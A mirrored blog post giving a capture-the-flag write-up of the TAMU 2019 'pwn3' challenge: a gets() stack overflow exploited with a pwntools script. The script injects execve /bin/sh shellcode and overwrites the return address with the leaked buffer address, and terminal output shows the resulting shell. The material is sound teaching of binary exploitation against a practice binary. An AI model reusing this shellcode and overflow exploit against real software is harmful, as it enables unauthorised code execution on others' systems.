mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 04:16:59 +00:00
340 lines
18 KiB
Markdown
340 lines
18 KiB
Markdown
# TAMU 2019 Pwn3
|
||
|
||
## Downloading the binary file
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
|
||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
|
||
--2021-03-05 12:37:20-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
|
||
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
|
||
Resolving github.com (github.com)... 140.82.121.4
|
||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||
HTTP request sent, awaiting response... 302 Found
|
||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3 [following]
|
||
--2021-03-05 12:37:20-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
|
||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
|
||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 7348 (7.2K) [application/octet-stream]
|
||
Saving to: ‘pwn3’
|
||
|
||
pwn3 100%[============================================================================================================================================================================>] 7.18K --.-KB/s in 0.001s
|
||
|
||
2021-03-05 12:37:21 (12.1 MB/s) - ‘pwn3’ saved [7348/7348]
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
|
||
→ file pwn3
|
||
pwn3: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
|
||
→ chmod +x pwn3
|
||
|
||
|
||
|
||
|
||
` ![]()
|
||
|
||
## Solution
|
||
|
||
First let's execute the binary to see what it does:
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
|
||
→ ./pwn3
|
||
Take this, you might need it on your journey 0xfff0aa1e!
|
||
thanks!
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
|
||
→ ./pwn3
|
||
Take this, you might need it on your journey 0xffa9ce0e!
|
||
No Thanks!
|
||
|
||
|
||
|
||
Here we see the binary giving us some text output with a certain memory address, and then prompts us for our text and depending on that text, we might get an answer or not. Now let's view it inside of ghidra:
|
||
|
||

|
||
|
||
We get the following code:
|
||
|
||
|
||
undefined4 main(void)
|
||
|
||
{
|
||
undefined *puVar1;
|
||
|
||
puVar1 = &stack0x00000004;
|
||
setvbuf(stdout,(char *)0x2,0,0);
|
||
echo(puVar1);
|
||
return 0;
|
||
}
|
||
|
||
|
||
Here we see that the important part of the main function is the echo function:
|
||
|
||
|
||
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
|
||
|
||
void echo(void)
|
||
|
||
{
|
||
char local_12e [294];
|
||
|
||
printf("Take this, you might need it on your journey %p!\n",local_12e);
|
||
gets(local_12e);
|
||
return;
|
||
}
|
||
|
||
|
||
|
||
Here we see our input text gets passed into local_12e, and the function prints the address of the char buffer of local_12e. The bug here is that the gets function that is being used to process our input does not have a limit, it won't restrict us no matter how much data we feed through it, so we have an overflow right here. The question is what do we call ? There are not any function that print the flag nor give a shell, This is why we need to feed shellcode in.
|
||
|
||
Now in the previous challenge we were able to create the shellcode we needed for the x86_64 architecture. However this time we need to take into account that this is a 32 bit binary, we have to follow the x86 architecture as we create our shellcode. For this example we're going to grab some shellcode from [shell-storm.org](http://shell-storm.org/shellcode/files/shellcode-827.php).
|
||
|
||
Now let's use gdb to see how much space we have between the start of our input and the return address:
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/pwn3]
|
||
→ gdb ./pwn3
|
||
GNU gdb (GDB) 10.1
|
||
Copyright (C) 2020 Free Software Foundation, Inc.
|
||
License GPLv3+: GNU GPL version 3 or later
|
||
This is free software: you are free to change and redistribute it.
|
||
There is NO WARRANTY, to the extent permitted by law.
|
||
Type "show copying" and "show warranty" for details.
|
||
This GDB was configured as "x86_64-pc-linux-gnu".
|
||
Type "show configuration" for configuration details.
|
||
For bug reporting instructions, please see:
|
||
.
|
||
Find the GDB manual and other documentation resources online at:
|
||
.
|
||
|
||
For help, type "help".
|
||
Type "apropos word" to search for commands related to "word"...
|
||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||
92 commands loaded for GDB 10.1 using Python engine 3.9
|
||
Reading symbols from ./pwn3...
|
||
(No debugging symbols found in ./pwn3)
|
||
gef➤ disas echo
|
||
Dump of assembler code for function echo:
|
||
0x0000059d <+0>: push ebp
|
||
0x0000059e <+1>: mov ebp,esp
|
||
0x000005a0 <+3>: push ebx
|
||
0x000005a1 <+4>: sub esp,0x134
|
||
0x000005a7 <+10>: call 0x4a0 <__x86.get_pc_thunk.bx>
|
||
0x000005ac <+15>: add ebx,0x1a20
|
||
0x000005b2 <+21>: sub esp,0x8
|
||
0x000005b5 <+24>: lea eax,[ebp-0x12a]
|
||
0x000005bb <+30>: push eax
|
||
0x000005bc <+31>: lea eax,[ebx-0x191c]
|
||
0x000005c2 <+37>: push eax
|
||
0x000005c3 <+38>: call 0x410
|
||
0x000005c8 <+43>: add esp,0x10
|
||
0x000005cb <+46>: sub esp,0xc
|
||
0x000005ce <+49>: lea eax,[ebp-0x12a]
|
||
0x000005d4 <+55>: push eax
|
||
0x000005d5 <+56>: call 0x420
|
||
0x000005da <+61>: add esp,0x10
|
||
0x000005dd <+64>: nop
|
||
0x000005de <+65>: mov ebx,DWORD PTR [ebp-0x4]
|
||
0x000005e1 <+68>: leave
|
||
0x000005e2 <+69>: ret
|
||
End of assembler dump.
|
||
|
||
|
||
|
||
Now as we disassembled the echo function, we set a breakpoint +61 because this is right after the gets call where we insert our text in.
|
||
|
||
|
||
gef➤ b *echo+61
|
||
Breakpoint 1 at 0x5da
|
||
gef➤ r
|
||
Starting program: /home/nothing/binexp/2/pwn3/pwn3
|
||
Take this, you might need it on your journey 0xffffcfbe!
|
||
13371337
|
||
|
||
Breakpoint 1, 0x565555da in echo ()
|
||
~/.gef-54e93efd89ec59e5d178fbbeda1fed890098d18d.py:2425: DeprecationWarning: invalid escape sequence '\
|
||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||
$eax : 0xffffcfbe → "13371337"
|
||
$ebx : 0x56556fcc → 0x00001ed4
|
||
$ecx : 0xf7f90540 → 0xfbad2288
|
||
$edx : 0xfbad2288
|
||
$esp : 0xffffcfa0 → 0xffffcfbe → "13371337"
|
||
$ebp : 0xffffd0e8 → 0xffffd0f8 → 0x00000000
|
||
$esi : 0x1
|
||
$edi : 0x56555460 → <_start+0> xor ebp, ebp
|
||
$eip : 0x565555da → add esp, 0x10
|
||
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
|
||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||
0xffffcfa0│+0x0000: 0xffffcfbe → "13371337" ← $esp
|
||
0xffffcfa4│+0x0004: 0xffffcfbe → "13371337"
|
||
0xffffcfa8│+0x0008: 0xffffcfff → 0xffd08000
|
||
0xffffcfac│+0x000c: 0x565555ac → add ebx, 0x1a20
|
||
0xffffcfb0│+0x0010: 0x00000000
|
||
0xffffcfb4│+0x0014: 0x00000000
|
||
0xffffcfb8│+0x0018: 0x00000000
|
||
0xffffcfbc│+0x001c: 0x3331b6ff
|
||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
|
||
0x565555ce lea eax, [ebp-0x12a]
|
||
0x565555d4 push eax
|
||
0x565555d5 call 0x56555420
|
||
→ 0x565555da add esp, 0x10
|
||
0x565555dd nop
|
||
0x565555de mov ebx, DWORD PTR [ebp-0x4]
|
||
0x565555e1 leave
|
||
0x565555e2 ret
|
||
0x565555e3 lea ecx, [esp+0x4]
|
||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||
[#0] Id 1, Name: "pwn3", stopped 0x565555da in echo (), reason: BREAKPOINT
|
||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||
[#0] 0x565555da → echo()
|
||
[#1] 0x5655561a → main()
|
||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||
gef➤ search-pattern 13371337
|
||
|
||
|
||
|
||
Now that we set the breakpoint, we run the binary, and put in an easy-to remember pattern (13371337) and then we search for that pattern in the memory:
|
||
|
||
|
||
gef➤ search-pattern 13371337
|
||
[+] Searching '13371337' in memory
|
||
[+] In '[heap]'(0x56558000-0x5657a000), permission=rw-
|
||
0x565581a0 - 0x565581aa → "13371337\n"
|
||
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
|
||
0xffffcfbe - 0xffffcfc6 → "13371337"
|
||
|
||
gef➤ info frame
|
||
Stack level 0, frame at 0xffffd0f0:
|
||
eip = 0x565555da in echo; saved eip = 0x5655561a
|
||
called by frame at 0xffffd110
|
||
Arglist at 0xffffd0e8, args:
|
||
Locals at 0xffffd0e8, Previous frame's sp is 0xffffd0f0
|
||
Saved registers:
|
||
ebx at 0xffffd0e4, ebp at 0xffffd0e8, eip at 0xffffd0ec
|
||
|
||
|
||
|
||
Here we see that the important addresses are **0xffffd0ec** and **0xffffcfbe**. So let's calculate the offset:
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
|
||
→ python3
|
||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||
[GCC 10.2.0] on linux
|
||
Type "help", "copyright", "credits" or "license" for more information.
|
||
>>> hex(0xffffd0ec)
|
||
'0xffffd0ec'
|
||
>>> hex(0xffffd0ec - 0xffffcfbe)
|
||
'0x12e'
|
||
|
||
|
||
|
||
And we see that we have an offset of 0x12e bytes between the start of our input (0xffffcfbe) and the return address (0xffffd0ec). This makes sense because our input value (local_12e) is 294 bytes large,there are 2 saved register values (ebx and ebp) on the stack in between our input and the saved return address which are each 4 bytes a piece (294 + 4 +4 = 0x12e). So with this we can construct our payload :
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/12 ] [binexp/2/pwn3]
|
||
→ vim exploit.py
|
||
|
||
|
||
|
||
|
||
from pwn import *
|
||
|
||
target = process('./pwn3')
|
||
|
||
#print the text, up to the address of the start of the input
|
||
print(target.recvuntil("journey "))
|
||
|
||
#Scan the rest of the line
|
||
leak = target.recvline()
|
||
|
||
Adr = int(leak.strip(b"!\n"),16)
|
||
|
||
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
|
||
|
||
payload = b""
|
||
payload += shellcode
|
||
payload += b"\x00" * (0x12e - len(payload))
|
||
payload += p32(Adr)
|
||
|
||
print(hexdump(payload))
|
||
|
||
|
||
|
||
The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode
|
||
|
||
Now let's check out our payload:
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/13 ] [binexp/2/pwn3]
|
||
→ python3 exploit.py
|
||
[+] Starting local process './pwn3': pid 218489
|
||
b'Take this, you might need it on your journey '
|
||
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 │1·Ph│//sh│h/bi│n··P│
|
||
00000010 53 89 e1 b0 0b cd 80 00 00 00 00 00 00 00 00 00 │S···│····│····│····│
|
||
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
|
||
*
|
||
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe d4 │····│····│····│····│
|
||
00000130 94 ff │··│
|
||
00000132
|
||
|
||
|
||
|
||
Now let's use the following 2 lines to feed our payload into the binary:
|
||
|
||
|
||
target.sendline(payload)
|
||
target.interactive()
|
||
|
||
|
||
|
||
|
||
[ 192.168.0.18/24 ] [ /dev/pts/13 ] [binexp/2/pwn3]
|
||
→ python3 exploit.py
|
||
[+] Starting local process './pwn3': pid 524665
|
||
b'Take this, you might need it on your journey '
|
||
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 dc 50 │1·Ph│//sh│h/bi│n··P│
|
||
00000010 53 89 cc b0 0b cd 80 00 00 00 00 00 00 00 00 00 │S···│····│····│····│
|
||
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
|
||
*
|
||
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 27 │····│····│····│···'│
|
||
00000130 d7 ff │··│
|
||
00000132
|
||
[*] Switching to interactive mode
|
||
[*] Got EOF while reading in interactive
|
||
$cat flag.txt
|
||
flag{g0ttem_b0yz}
|
||
$ exit
|
||
[*] Got EOF while reading in interactive
|
||
$ exit
|
||
[*] Process './pwn3' stopped with exit code 0 (pid 524665)
|
||
[*] Got EOF while sending in interactive
|
||
|
||
|
||
|
||
|
||
And that's it! We have been able to print out the flag.
|
||
|
||
## Title
|
||
|
||
text
|
||
|
||
|
||
|
||
|
||
` ![]()
|
||
|
||
## Title
|
||
|
||
text
|
||
|
||
|
||
|
||
|
||
` ![]()
|
||
|